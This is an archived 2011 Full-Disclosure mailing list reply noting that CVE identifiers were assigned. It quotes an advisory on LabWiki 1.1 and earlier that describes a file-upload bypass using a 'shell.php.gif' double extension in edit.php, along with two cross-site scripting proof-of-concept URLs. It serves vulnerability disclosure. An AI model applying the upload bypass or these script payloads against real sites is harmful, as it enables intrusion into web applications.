full-disclosure - Re: LabWiki <= 1.1 Multiple Vulnerabilitie

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Tue, 22 Nov 2011 00:21:51 +0200
From: Henri Salo <henri@...v.fi>
To: muuratsalo experimental hack lab <muuratsalo@...il.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: LabWiki <= 1.1 Multiple Vulnerabilitie

On Wed, Nov 09, 2011 at 10:42:01AM +0100, muuratsalo experimental hack lab wrote:
> ------------------------------------------------------------------------
> LabWiki <= 1.1 Multiple Vulnerabilities
> ------------------------------------------------------------------------
> 
> author............: muuratsalo (Revshell.com)
> contact...........: muuratsalo[at]gmail[dot]com
> download..........: http://www.bioinformatics.org/phplabware/labwiki/index.php
> 
> 
> [0x01] Vulnerability overview:
> 
> All versions of LabStore <= 1.1 are affected by multiple vulnerabilities.
> 
> 
> [0x02] Disclosure timeline:
> 
> [08/11/2011] - Multiple vulnerabilities discovered and reported to the vendor.
> [08/11/2011] - The vendor confirmed the vulnerabilities and he is
> working on fixing the reported issues.
> [09/11/2011] - Public Disclosure
> 
> 
> [0x03] Vulnerabilities:
> 
> -- Shell Upload Vulnerability --
> The upload script /edit.php improperly checks the filetype of uploaded images.
> A 'shell.php.gif' is accepted.  /* -- note that access to edit.php
> could be restricted-- */
> 
> -- Multiple Cross Site Scripting Vulnerabilities --
> http://localhost/LabWiki/index.php?from="></><script>alert('muuratsalo')</script>&help=true&page=What_is_wiki
> http://localhost/LabWiki/recentchanges.php?nothing=nothing&page_no="></><script>alert('muuratsalo')</script>

CVE-identifiers assigned: http://seclists.org/oss-sec/2011/q4/370

Best regards,
Henri Salo

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/